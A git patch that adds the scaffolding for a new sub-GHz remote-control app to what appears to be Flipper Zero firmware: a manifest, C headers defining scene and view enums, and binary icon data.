From fe212228e2a7b4649de73be940156ad3d4945111 Mon Sep 17 00:00:00 2001 From: gid9798 <30450294+gid9798@users.noreply.github.com> Date: Fri, 12 May 2023 16:47:39 +0300 Subject: [PATCH 001/100] New SubGhz Remote GUI --- .../subghz_remote_new/application.fam | 15 + .../helpers/subrem_custom_event.h | 67 ++++ .../subghz_remote_new/helpers/subrem_types.h | 39 +++ .../icons/ButtonDown_7x4.png | Bin 0 -> 102 bytes .../icons/ButtonLeft_4x7.png | Bin 0 -> 1415 bytes .../icons/ButtonRight_4x7.png | Bin 0 -> 1839 bytes .../subghz_remote_new/icons/ButtonUp_7x4.png | Bin 0 -> 102 bytes .../subghz_remote_new/icons/Ok_btn_9x9.png | Bin 0 -> 3605 bytes .../icons/Pin_arrow_up_7x9.png | Bin 0 -> 3603 bytes .../icons/Pin_cell_13x13.png | Bin 0 -> 3593 bytes .../subghz_remote_new/icons/Pin_star_7x7.png | Bin 0 -> 3600 bytes .../subghz_remote_new/icons/back_10px.png | Bin 0 -> 154 bytes .../subghz_remote_new/icons/sub1_10px.png | Bin 0 -> 299 bytes .../subghz_remote_new/scenes/subrem_scene.c | 30 ++ .../subghz_remote_new/scenes/subrem_scene.h | 29 ++ .../scenes/subrem_scene_config.h | 3 + .../scenes/subrem_scene_openmapfile.c | 26 ++ .../scenes/subrem_scene_remote.c | 135 ++++++++ .../scenes/subrem_scene_start.c | 93 +++++ .../subghz_remote_new/subghz_remote_app.c | 181 ++++++++++ .../subghz_remote_new/subghz_remote_app_i.c | 28 ++ .../subghz_remote_new/subghz_remote_app_i.h | 53 +++ .../subghz_remote_new/views/transmitter.c | 277 +++++++++++++++ .../subghz_remote_new/views/transmitter.h | 27 ++ .../views/transmitter_old.txt | 317 ++++++++++++++++++ 25 files changed, 1320 insertions(+) create mode 100644 applications/external/subghz_remote_new/application.fam create mode 100644 applications/external/subghz_remote_new/helpers/subrem_custom_event.h create mode 100644 applications/external/subghz_remote_new/helpers/subrem_types.h create mode 100644 applications/external/subghz_remote_new/icons/ButtonDown_7x4.png create mode 100644 applications/external/subghz_remote_new/icons/ButtonLeft_4x7.png create mode 100644 applications/external/subghz_remote_new/icons/ButtonRight_4x7.png create mode 100644 applications/external/subghz_remote_new/icons/ButtonUp_7x4.png create mode 100644 applications/external/subghz_remote_new/icons/Ok_btn_9x9.png create mode 100644 applications/external/subghz_remote_new/icons/Pin_arrow_up_7x9.png create mode 100644 applications/external/subghz_remote_new/icons/Pin_cell_13x13.png create mode 100644 applications/external/subghz_remote_new/icons/Pin_star_7x7.png create mode 100644 applications/external/subghz_remote_new/icons/back_10px.png create mode 100644 applications/external/subghz_remote_new/icons/sub1_10px.png create mode 100644 applications/external/subghz_remote_new/scenes/subrem_scene.c create mode 100644 applications/external/subghz_remote_new/scenes/subrem_scene.h create mode 100644 applications/external/subghz_remote_new/scenes/subrem_scene_config.h create mode 100644 applications/external/subghz_remote_new/scenes/subrem_scene_openmapfile.c create mode 100644 applications/external/subghz_remote_new/scenes/subrem_scene_remote.c create mode 100644 applications/external/subghz_remote_new/scenes/subrem_scene_start.c create mode 100644 applications/external/subghz_remote_new/subghz_remote_app.c create mode 100644 applications/external/subghz_remote_new/subghz_remote_app_i.c create mode 100644 applications/external/subghz_remote_new/subghz_remote_app_i.h create mode 100644 applications/external/subghz_remote_new/views/transmitter.c create mode 100644 applications/external/subghz_remote_new/views/transmitter.h create mode 100644 applications/external/subghz_remote_new/views/transmitter_old.txt diff --git a/applications/external/subghz_remote_new/application.fam b/applications/external/subghz_remote_new/application.fam new file mode 100644 index 000000000..4f633b961 --- /dev/null +++ b/applications/external/subghz_remote_new/application.fam @@ -0,0 +1,15 @@ +App( + appid="subghz_remote_new", + name="SubRem new", + apptype=FlipperAppType.EXTERNAL, + entry_point="subghz_remote_app", + requires=[ + "gui", + "dialogs", + ], + icon="A_SubGHzRemote_14", + stack_size=4 * 1024, + order=12, + fap_category="Debug", + fap_icon_assets="icons", +) \ No newline at end of file diff --git a/applications/external/subghz_remote_new/helpers/subrem_custom_event.h b/applications/external/subghz_remote_new/helpers/subrem_custom_event.h new file mode 100644 index 000000000..d1559a796 --- /dev/null +++ b/applications/external/subghz_remote_new/helpers/subrem_custom_event.h @@ -0,0 +1,67 @@ +#pragma once + +typedef enum { + // SubRemCustomEventManagerNoSet = 0, + // SubRemCustomEventManagerSet, + // SubRemCustomEventManagerSetRAW, + + //SubmenuIndex + SubmenuIndexOpenMapFile, + SubmenuIndexOpenView, // TODO: temp debug + + //SubRemCustomEvent + SubRemCustomEventViewRemoteBack = 100, + // SubRemCustomEventSceneDeleteSuccess = 100, + // SubRemCustomEventSceneDelete, + // SubRemCustomEventSceneDeleteRAW, + // SubRemCustomEventSceneDeleteRAWBack, + + // SubRemCustomEventSceneReceiverInfoTxStart, + // SubRemCustomEventSceneReceiverInfoTxStop, + // SubRemCustomEventSceneReceiverInfoSave, + // SubRemCustomEventSceneSaveName, + // SubRemCustomEventSceneSaveSuccess, + // SubRemCustomEventSceneShowErrorBack, + // SubRemCustomEventSceneShowErrorOk, + // SubRemCustomEventSceneShowErrorSub, + // SubRemCustomEventSceneShowOnlyRX, + // SubRemCustomEventSceneAnalyzerLock, + // SubRemCustomEventSceneAnalyzerUnlock, + // SubRemCustomEventSceneSettingLock, + + // SubRemCustomEventSceneExit, + // SubRemCustomEventSceneStay, + + // SubRemCustomEventSceneRpcLoad, + // SubRemCustomEventSceneRpcButtonPress, + // SubRemCustomEventSceneRpcButtonRelease, + // SubRemCustomEventSceneRpcSessionClose, + + // SubRemCustomEventViewReceiverOK, + // SubRemCustomEventViewReceiverConfig, + // SubRemCustomEventViewReceiverBack, + // SubRemCustomEventViewReceiverOffDisplay, + // SubRemCustomEventViewReceiverUnlock, + // SubRemCustomEventViewReceiverDeleteItem, + + // SubRemCustomEventViewReadRAWBack, + // SubRemCustomEventViewReadRAWIDLE, + // SubRemCustomEventViewReadRAWREC, + // SubRemCustomEventViewReadRAWConfig, + // SubRemCustomEventViewReadRAWErase, + // SubRemCustomEventViewReadRAWSendStart, + // SubRemCustomEventViewReadRAWSendStop, + // SubRemCustomEventViewReadRAWSave, + // SubRemCustomEventViewReadRAWTXRXStop, + // SubRemCustomEventViewReadRAWMore, + + // SubRemCustomEventViewTransmitterBack, + // SubRemCustomEventViewTransmitterSendStart, + // SubRemCustomEventViewTransmitterSendStop, + // SubRemCustomEventViewTransmitterError, + + // SubRemCustomEventViewFreqAnalOkShort, + // SubRemCustomEventViewFreqAnalOkLong, + + // SubRemCustomEventByteInputDone, +} SubRemCustomEvent; diff --git a/applications/external/subghz_remote_new/helpers/subrem_types.h b/applications/external/subghz_remote_new/helpers/subrem_types.h new file mode 100644 index 000000000..ffb2f8044 --- /dev/null +++ b/applications/external/subghz_remote_new/helpers/subrem_types.h @@ -0,0 +1,39 @@ +#pragma once + +#include +#include +/* +#define AVR_ISP_VERSION_APP "0.1" +#define AVR_ISP_DEVELOPED "SkorP" +#define AVR_ISP_GITHUB "https://github.com/flipperdevices/flipperzero-firmware" + +#define AVR_ISP_APP_FILE_VERSION 1 +#define AVR_ISP_APP_FILE_TYPE "Flipper Dump AVR" +#define AVR_ISP_APP_EXTENSION ".avr" +*/ + +// TODO: rename Filepath +//#define SUBREMOTEMAP_FOLDER "/ext/subghz_remote" +#define SUBGHZ_REMOTE_APP_EXTENSION ".txt" +#define SUBGHZ_REMOTE_APP_PATH_PREFIX "/ext/subghz_remote" + +typedef enum { + //SubRemViewVariableItemList, + SubRemViewSubmenu, + //SubRemViewProgrammer, + //SubRemViewReader, + //SubRemViewWriter, + SubRemViewWidget, + SubRemViewPopup, + SubRemViewTextInput, + SubRemViewIDRemote, + //SubRemViewChipDetect, +} SubRemViewID; +/* +typedef enum { + SubRemErrorNoError, + SubRemErrorReading, + SubRemErrorWriting, + SubRemErrorVerification, + SubRemErrorWritingFuse, +} SubRemError;*/ \ No newline at end of file diff --git a/applications/external/subghz_remote_new/icons/ButtonDown_7x4.png b/applications/external/subghz_remote_new/icons/ButtonDown_7x4.png new file mode 100644 index 0000000000000000000000000000000000000000..2954bb6a67d1c23c0bb5d765e8d2aa04b9b5adec GIT binary patch literal 102 zcmeAS@N?(olHy`uVBq!ia0vp^>_E)I!3HFqj;YoHDIHH2#}J9|(o>FH3<^BV2haYO z-y5_sM4;GPjq%Ck6>60csmUj6EiNa>ORduPH4*)h!w|e3sE@(Z)z4*}Q$iC10Gods AV*mgE literal 0 HcmV?d00001 diff --git a/applications/external/subghz_remote_new/icons/ButtonLeft_4x7.png b/applications/external/subghz_remote_new/icons/ButtonLeft_4x7.png new file mode 100644 index 0000000000000000000000000000000000000000..0b4655d43247083aa705620e9836ac415b42ca46 GIT binary patch literal 1415 zcmbVM+iKK67*5rq)>aU2M7$VM1Vxif;vTv~W2u`S7ED{V3s&&L*<`XiG|9wd+THd> z5CnY!sdyuJtrvQyAo>KpiLcV|{Tkc)riAbluXfwSZCApL`ztB&p zx6LGKvks4K_4~)qD&oGa-YdJlW)hAKMNJd7<=t?6c^RI1>c$ifyjaM>^|&8!ey zB4!nh9u>5uen6Ve@<H5rru6h<2Ef#GQdQ*CmZOlQi~N!?9H`Rp;C% zU}CB21#?;r`&0|6C0}b-=jODa5|nEJ#ntxQ&{~jpgtwDta4hftr~G=#p@V36e4Zjh zq%J~{y26Jjn=1Nw-l*3%QW5YFE*v4z3gt0$&(*xf2en34c?JpH8+FYldo+Alvg8af-pG4(=!fyUi-Wsg z`g#n9VUcf(DFr{poMSNzw-lz>w+HV+n1ELr&SLA#LHUb0p(xWQ(1*vJ-i+1!`swxZ Z!O7;c$;lT_->m1Ovaz)0yuI`A$q$F8u*d)a literal 0 HcmV?d00001 diff --git a/applications/external/subghz_remote_new/icons/ButtonRight_4x7.png b/applications/external/subghz_remote_new/icons/ButtonRight_4x7.png new file mode 100644 index 0000000000000000000000000000000000000000..8e1c74c1c0038ea55172f19ac875003fc80c2d06 GIT binary patch literal 1839 zcmcIlO>f*p7#Yw)M6zw!O+@VZ{?d|D~WYi~8rHRY?X-&T}Yen`g$^+EJ;z+|RV zE@PoDvZ9%#+_}3bC_5Cj8jDGq541mi{7F+&KF}W65sr$Xn5H|YrMQ2(J7%Yc%;(zO z57ax000=TsQ+1Ke@+w#iw3au3cGGQWY740k2ijH>P(6tD)S)be>gX6Tj7`<`b>di- zgWp$8Y+?i31~CzF0&E4uRlA=C(Mp~K`{74jEchB|)4DDK!ZVhSwdFyw0YIZ1cDh0S{OvfO-U_~ zvmRF*m9sWDXNH)GOyqS1Skhxbr6}s*7t&@~kFM(NW5}qh?Lu@lJ}HE;FDiLdGO>LO z5pS*%E2grR)l^;|?O5b_?u0me&c1U}%jrk8*%=Wk%i)8yp2P|kuxmKg<=(u_`oQRI_0 zS`-DNysBx=#3&qSkgA@hJP>~D+ZM(s5jI6Owp`?yE=3e`YGUqkVOp#Cp=3wR3O4hX zX6BLsN3UBzV(vI5;|SZHgOb=HD0VFjpTyfFW}GnQuh>2*Q`k>*cAmA#iUT7EXSpo# zkPm5~#I-o^cpgfe#P$=4-Pi*SpT!-@nJgp8L347xe>5EKl`=_ZFc8XGy+_j=_R_7! z@vZZMowS1GJ?Zw)eetks%~G{BTR>T}9|jt0j3Btyb*C3-`C?fwY3EY`q*oYZ39DpM z&uJ;PCZPLs4QO1Jd_|A1PF)azZJ)RZ`^-VMWr6e#XUOA%3eLG_Ch@BDOHzMk*MF0G zCo7xMd?Mg*HMIXw%nNz?%60fZiZPlqb?GqUpXO`F&Yi!okZl(n>P@r1P2i)yk3DgRwbHeNn6e|;J^SK4TM LH~i+q&mR8;k>NTA literal 0 HcmV?d00001 diff --git a/applications/external/subghz_remote_new/icons/ButtonUp_7x4.png b/applications/external/subghz_remote_new/icons/ButtonUp_7x4.png new file mode 100644 index 0000000000000000000000000000000000000000..1be79328b40a93297a5609756328406565c437c0 GIT binary patch literal 102 zcmeAS@N?(olHy`uVBq!ia0vp^>_E)I!3HFqj;YoHDIHH2#}J8d-yTOk1_O>mFaFD) zeWb+ZHz{mGZZ1QpXe09^4tcYT#4oe=UbmGC^A-KE*|F&zP#=S*tDnm{r-UX30HgpM AM*si- literal 0 HcmV?d00001 diff --git a/applications/external/subghz_remote_new/icons/Ok_btn_9x9.png b/applications/external/subghz_remote_new/icons/Ok_btn_9x9.png new file mode 100644 index 0000000000000000000000000000000000000000..9a1539da2049f12f7b25f96b11a9c40cd8227302 GIT binary patch literal 3605 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 